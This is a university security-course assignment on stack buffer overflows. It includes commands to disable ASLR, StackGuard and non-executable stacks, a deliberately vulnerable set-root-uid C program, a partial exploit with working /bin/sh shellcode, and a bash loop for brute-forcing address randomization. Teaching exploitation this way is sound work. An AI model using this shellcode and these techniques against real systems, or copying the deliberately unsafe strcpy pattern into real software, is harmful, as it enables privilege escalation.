Secure System Design: Threats and Countermeasures
CS392

Date: 5th Feb 2021 Assignment 1
Submission Filename: assign1.pdf Due Date: 11th Feb 2021
Full Marks 50

1 Assignment Overview

The learning objective of this assignment is for students to gain the first-hand experience on buffer-overflow vulnerability. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this assignment, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students are required to walk through several protection schemes that have been implemented in the operating system or compiler to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Assignment Tasks

2.1 Initial setup

You can execute the assignment tasks using the *32 bit Ubuntu* virtual machines. *Ubuntu* and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first.

Address Space Randomization. *Ubuntu* and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this assignment, you are required to disable these features using the following commands:

```
$sudo sysctl -w kernel.randomize_va_space=0
```

The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you compile the program using the *-fno-stack-protector* switch. For example, to compile a program *example.c* with Stack Guard disabled, you may use the following command:

```
$ gcc -fno-stack-protector example.c
```

Non-Executable Stack. *Ubuntu* used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of `gcc`, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs:

```
For executable stack:
$ gcc -z execstack  -o test test.c

For non-executable stack:
$ gcc -z noexecstack  -o test test.c
```

2.2 Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

```
#include <stdio.h>

int main( ) {
   char *name[2];

   name[0] = ‘‘/bin/sh’’;
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

The shellcode that we use is just the assembly version of the above program.

2.3 The Vulnerable Program

```
/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Compile the above vulnerable program and make it set-root-uid. Don't forget to include the `execstack` and `-fno-stack-protector` options to turn off the non-executable stack and StackGuard protections.

The above program has a buffer overflow vulnerability. It first reads an input from a file called "badfile", and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` has only 24 bytes long. Because `strcpy()` does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called "badfile". This file is under users' control. Now, our objective is to create the contents for "badfile", such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

2.4 Task 1a: Exploiting the Vulnerability

We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for "badfile". In this code, the shellcode is given to you. You need to develop the rest.

```
/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the return address field with a candidate
    entry point of the malicious shellcode (Part A)*/

  ------------------------------------------------


    /* Place the shellcode towards the end of the buffer by using
    memcpy function  (Part B)*/


  ------------------------------------------------

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Give appropriate explanation for calculating *Part A* and *Part B* in your *exploit.c* code. After you finish the above program, compile and run it. This will generate the contents for "badfile". Then run the vulnerable program `stack`. If your exploit is implemented correctly, you should be able to get a root shell:

Important: Please compile your vulnerable program first. Please note that the program *exploit.c*, which generates the badfile, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in *stack.c*, which is compiled with the Stack Guard protection disabled.

```
$ gcc -o exploit exploit.c
$./exploit        // create the badfile
$./stack          // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) euid=0(root)
```

Many commands will behave differently if they are executed as *setuid* `root` processes, instead of just as `root` processes, because they recognize that the real user id is not `root`. To solve this problem, you need to set the real user id to `root`. This way, you will have a real `root` process, which is more powerful. Write a program which will set the real user id to `root` and call the root shell.

$15 Marks$

2.5 Task 1b: Exploiting the Vulnerability by changing the buffer size

In this task, you have to change the buffer size of *stack.c* program. So consider the following *stackNew.c* program and repeat Task 1a.

```
/* stackNew.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Construct the *exploit.c* file to generate the *badfile* for which you will get the root shell. $10 Marks$

2.6 Task 2: Address Randomization

Now, we turn on the Ubuntu's address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

```
$sudo sysctl -w kernel.randomize_va_space=2
```

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run `./stack` using the following script *testRun.sh*, and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait). After running the script, if you get the root shell then report the elapsed time and how many times the program has run before getting the root shell. **Attach a snapshot with your report**.

```
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
 do
  value=$(($value + 1))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed"
  echo "The program has been running $value times so far"
  ./stack
 done
```

$15 Marks$

2.7 Task 3: Stack Guard

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we disabled the "Stack Guard" protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without the *-fno-stack-protector'* option. For this task, you will recompile the vulnerable program, stack.c, to use GCC's Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable Stack Guard. $5 Marks$

2.8 Task 4: Non-executable Stack

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the `noexecstack` option, and repeat the attack in Task 1. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your report. You can use the following instructions to turn on the non-executable stack protection.

```
# gcc -o stack -fno-stack-protector -z noexecstack stack.c
```

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks. $5 Marks$

Submission

You need to submit a detailed report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are *interesting* or *surprising*. Add necessary snapshots of your experiment wherever applicable in support of your observation. Upload your file (**rollno.pdf** or **rollno.doc**) using following google link only.

https://forms.gle/hJ6pBvE6xpuhYryeA